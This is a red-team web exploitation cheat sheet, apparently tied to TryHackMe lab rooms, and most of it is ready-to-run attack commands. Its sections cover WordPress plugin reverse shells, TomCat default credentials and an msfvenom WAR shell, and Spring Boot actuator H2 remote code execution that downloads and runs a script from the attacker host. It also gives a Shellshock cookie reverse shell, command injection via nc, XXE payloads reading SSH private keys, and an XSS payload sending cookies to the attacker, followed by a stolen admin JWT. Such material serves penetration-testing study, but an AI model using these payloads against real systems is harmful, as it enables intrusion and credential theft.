> For the complete documentation index, see [llms.txt](https://jeffgthompsons-organization.gitbook.io/red-team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jeffgthompsons-organization.gitbook.io/red-team/methodologies-and-resources/cheat-sheets/web.md).

# Web

## Wordpress

### Reverse Shell #1 - Edit existing Plugin

**Examples** 

[Wordpress: CVE-2021-29447](/red-team/walkthroughs/tryhackme/wordpress-cve-2021-29447.md#initial-shell)

**Kali**

```
git clone https://github.com/pentestmonkey/php-reverse-shell.git
cp php-reverse-shell/php-reverse-shell.php .
subl php-reverse-shell.php 
```

Update the page with your reverse shell then save. This will make the plugin not appear anymore under Installed Plugins

<figure><img src="/files/BmpMWynb7mEiPbCXYSPS" alt=""><figcaption></figcaption></figure>

Curl the page to activate it.

**Kali**

```
curl http://$VICTIM/wp-content/plugins/akismet/akismet.php
```

### Reverse Shell  #2 - Upload Plugin

**Examples**&#x20;

[Mr Robot CTF](/red-team/walkthroughs/tryhackme/mr-robot-ctf.md)[Retro](/red-team/walkthroughs/tryhackme/retro.md)

**revshell.php code**

```
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/$KALI/443 0>&1'");
?>
```

**Kali**

```
vi revshell.php
zip revshell.zip revshell.php
nc -lvnp 443
```

## TomCat

### Common usernames and passwords

**Examples**

[Thompson](/red-team/walkthroughs/tryhackme/thompson.md)

```
tomcat
s3cret
```

### Reverse Shell

**Examples**

[Thompson](/red-team/walkthroughs/tryhackme/thompson.md)

**Kali**

<pre><code><strong>msfvenom -p java/jsp_shell_reverse_tcp LHOST=$KALI LPORT=1337 -f war > rshell.war
</strong>nc -lvnp 1337
</code></pre>

<figure><img src="/files/QkQrt6CAcaKBzyoeStYE" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/is76z8udo7tDYeVl0j7d" alt=""><figcaption></figcaption></figure>

## Spring Boot&#x20;

### Reverse Shell

**Examples**

[Spring](/red-team/walkthroughs/tryhackme/spring.md#initial-shell)

**Exploit:** <https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database/>

**Kali #1**

```
tcpdump -i ens5 icmp
```

Below example checks the IP which may not be necessary.&#x20;

**Kali #2**

<pre><code>curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' --data-binary $'{\"name\":\"spring.datasource.hikari.connection-test-query\",\"value\":\"CREATE ALIAS EXEC AS CONCAT(\'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new\',\' java.util.Scanner(Runtime.getRun\',\'time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }\');CALL EXEC(\'ping -c 5 $KALI\');\"}' "https://$VICTIM/actuator/env" -k
<strong>
</strong>curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' "https://$VICTIM/actuator/restart" -k
</code></pre>

<figure><img src="/files/B8ML9W4Irpv9l7TMbOSY" alt=""><figcaption></figcaption></figure>

**reverse.sh**

```
bash -c "bash -i >& /dev/tcp/$KALI/1337 0>&1"
```

**Kali #1**

```
python3 -m http.server 81
```

**Kali #2**

```
nc -lvnp 1337
```

Download payload

**Kali #3**

```
curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' --data-binary $'{\"name\":\"spring.datasource.hikari.connection-test-query\",\"value\":\"CREATE ALIAS EXEC AS CONCAT(\'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new\',\' java.util.Scanner(Runtime.getRun\',\'time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }\');CALL EXEC(\'wget http://$KALI:81/reverse.sh -O /tmp/reverse.sh\');\"}' "https://$VICTIM/actuator/env" -k

curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' "https://$VICTIM/actuator/restart" -k
```

Run payload

**Kali #3**

```
curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' --data-binary $'{\"name\":\"spring.datasource.hikari.connection-test-query\",\"value\":\"CREATE ALIAS EXEC AS CONCAT(\'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new\',\' java.util.Scanner(Runtime.getRun\',\'time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }\');CALL EXEC(\'bash /tmp/reverse.sh\');\"}' "https://$VICTIM/actuator/env" -k

curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' "https://$VICTIM/actuator/restart" -k
```

<figure><img src="/files/kMI8J52X7sNtdFsrFgKU" alt=""><figcaption></figcaption></figure>

## See CMDS from page source

**Examples**

[Jack-of-All-Trades](/red-team/walkthroughs/tryhackme/jack-of-all-trades.md)

Sometimes you can't see the results of the output from the page so you need to check the page source.

```
view-source:http://$VICTIM:22/nnxhweOV/index.php?cmd=whoami
```

<figure><img src="/files/lM7jWHyyrIqw0Erw2mGB" alt=""><figcaption></figcaption></figure>

**Kali**

```
nc -lvnp 1337
```

**Browser**

```
view-source:http://$VICTIM:22/nnxhweOV/index.php?cmd=nc%20-c%20sh%2010.10.154.80%201337
```

## CGI-Bin

### Scanning

**Examples**

[0day](/red-team/walkthroughs/tryhackme/0day.md)

See if a cgi-bin folder appears in the inital scans, if it does start scanning that direcoty for .cgi files.

**Kali**

```
gobuster dir -u http://$VICTIM/cgi-bin/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt,cgi
```

<figure><img src="/files/QtfEfkXPig9USCQTz8U7" alt=""><figcaption></figcaption></figure>

### Shell

**Examples**

[0day](/red-team/walkthroughs/tryhackme/0day.md)

**Link:** <https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/cgi>

**Kali#1**

```
nc -lvnp 4242
```

**Kali #2**

```
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/$KALI/4242 0>&1' http://$VICTIM/cgi-bin/test.cgi 
```

<figure><img src="/files/DU2Vsue0LawNiU0USwiU" alt=""><figcaption></figcaption></figure>

## Change request type

**Examples**

[Mother's Secret](/red-team/walkthroughs/tryhackme/mothers-secret.md)

<figure><img src="/files/FqfcCpuugu4f4DccPR6t" alt=""><figcaption></figcaption></figure>

Change the request to POST and add everything else highlighted, we see the status message now changes.

<figure><img src="/files/PyvLx80DKDyYxyAVazyJ" alt=""><figcaption></figcaption></figure>

Now we change the yaml to the the emergency override code mentioned in the room.

<figure><img src="/files/c3iBQ8Lpryv4mLpd1jvZ" alt=""><figcaption></figcaption></figure>

Now we perform the same steps again except this time for the api/nostromo route and the new file we discovered.

<figure><img src="/files/asrseGTgUG5FznSDQ5RA" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/GZP38BIseHwQspUUT3AW" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/tDCqliuRm4wE9BynqUwA" alt=""><figcaption></figcaption></figure>

## **WebDav Cadvaer**&#x20;

If server is using WebDav and we have credentials we can login and upload files.

**Examples**

[Dav](/red-team/walkthroughs/tryhackme/dav.md)

**Kali**

<pre><code><strong>cadaver http://$VICTIM:80/webdav
</strong>Username: wampp
<strong>Password: xampp
</strong>dav:/webdav/> put shell.php shell.php
</code></pre>

## XXE Injection

### Exploiting XXE - In-Band

**Examples**

[XXE Injection](/red-team/walkthroughs/tryhackme/xxe-injection.md#exploiting-xxe-in-band)

### Exploiting XXE - Out-of-Band

**Examples**

[XXE Injection](/red-team/walkthroughs/tryhackme/xxe-injection.md#exploiting-xxe-out-of-band)

### SSRF + XXE

**Examples**

[XXE Injection](/red-team/walkthroughs/tryhackme/xxe-injection.md#ssrf--xxe)

## XML-RPC

### Check if it is enabled

**Examples**

[Retro](/red-team/walkthroughs/tryhackme/retro.md)

wpscan or a scan maybe able identified that xmlrpc.php exists, if it is check if it is enabled.

```
POST /$SITE/xmlrpc.php HTTP/1.1
Host: $VICTIM
Content-Length: 91

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
```

<figure><img src="/files/1tlBQLFjOpsqNqb6iAwA" alt=""><figcaption></figcaption></figure>

### View Files

**Examples**

[Mustacchio](/red-team/walkthroughs/tryhackme/mustacchio.md)[battery](/red-team/walkthroughs/tryhackme/battery.md#xee-read-files)

**Input**

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM 'file:///home/barry/.ssh/id_rsa'>]>
<comment>
  <name>Joe Hamd</name>
  <author>Barry Clad</author>
  <com>&xxe;</com>
</comment>
```

Base64 encode the file

```
<!DOCTYPE replace [<!ENTITY test SYSTEM "php://filter/convert.base64-encode/resource=acc.php"> ]>

<search>&test;</search>
```

## XSS

### Reflected XSS

**Examples**

[XSS](/red-team/walkthroughs/tryhackme/xss.md#reflected-xss)

[XSS](/red-team/walkthroughs/tryhackme/xss.md#cve-2023-38501-vulnerable-web-application-1)

### Stored XSS

**Examples**

[XSS](/red-team/walkthroughs/tryhackme/xss.md#reflected-xss)

[XSS](/red-team/walkthroughs/tryhackme/xss.md#cve-2021-38757-vulnerable-web-application-2)

### Dom-Based XSS

**Examples**

[XSS](/red-team/walkthroughs/tryhackme/xss.md#dom-based-xss)

### XSS - Steal JVT

**Examples**

[The Marketplace](/red-team/walkthroughs/tryhackme/the-marketplace.md#xss-steal-jvt)

<https://jwt.io/>

<figure><img src="/files/c76dxz1YGo89EZbJ9ewa" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/QjIuCtQyfpSCfOlPAR8D" alt=""><figcaption></figcaption></figure>

I tried updating the token it didn't work

<figure><img src="/files/wzAqNdWzAz0UXdDKKz2i" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/dhZI10AlVcc9hyj1ybJl" alt=""><figcaption></figcaption></figure>

Next we're going to try to steal the JWT from another user.

**Kali**

```
nc -lvnp 4444
```

**Browser**

```
<script>document.location='http://$KALI:4444/XSS/grabber.php?c='+document.cookie</script>
```

<figure><img src="/files/NFgOAQtfb7jmndwBgPUT" alt=""><figcaption></figcaption></figure>

This was annoying because if I went to my posts it wouldn't work so I went to Jakes post and changed the number from 2 to 6 to get to the report page. Then just clicked the report button

<figure><img src="/files/4YdgzzkktKQHKMhS2x30" alt=""><figcaption></figcaption></figure>

we got a token from a user that isn't us

<figure><img src="/files/vk7aJKw2reCLiXbCDCbh" alt=""><figcaption></figcaption></figure>

We can see it is from Michael who is an admin.

<figure><img src="/files/7CCCmQdmXENWULdCeYeN" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/LtpUF9NBn5akWy5z35V4" alt=""><figcaption></figcaption></figure>

Sent again but this time just forwarded the request so we could see what that script was doing

<figure><img src="/files/zNLN0DB3IbN037txItTc" alt=""><figcaption></figcaption></figure>

The script was printing the flag

<figure><img src="/files/Qb5zz4yJtO1349IdA16j" alt=""><figcaption></figcaption></figure>

This wasn't working before but after next time I went to this box tried I could just update the cookie from the browser and it worked.

<figure><img src="/files/3D5fQV48YrTRiDJaGtew" alt=""><figcaption></figcaption></figure>

**Brower cookie**

```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjIsInVzZXJuYW1lIjoibWljaGFlbCIsImFkbWluIjp0cnVlLCJpYXQiOjE3MDE1MjgzODN9.O8218jJ0nmWedeewklX6fkb9sjlgH81ciU7dJG5l9YY
```

## CSRF

**Examples**

[CSRF](/red-team/walkthroughs/tryhackme/csrf.md)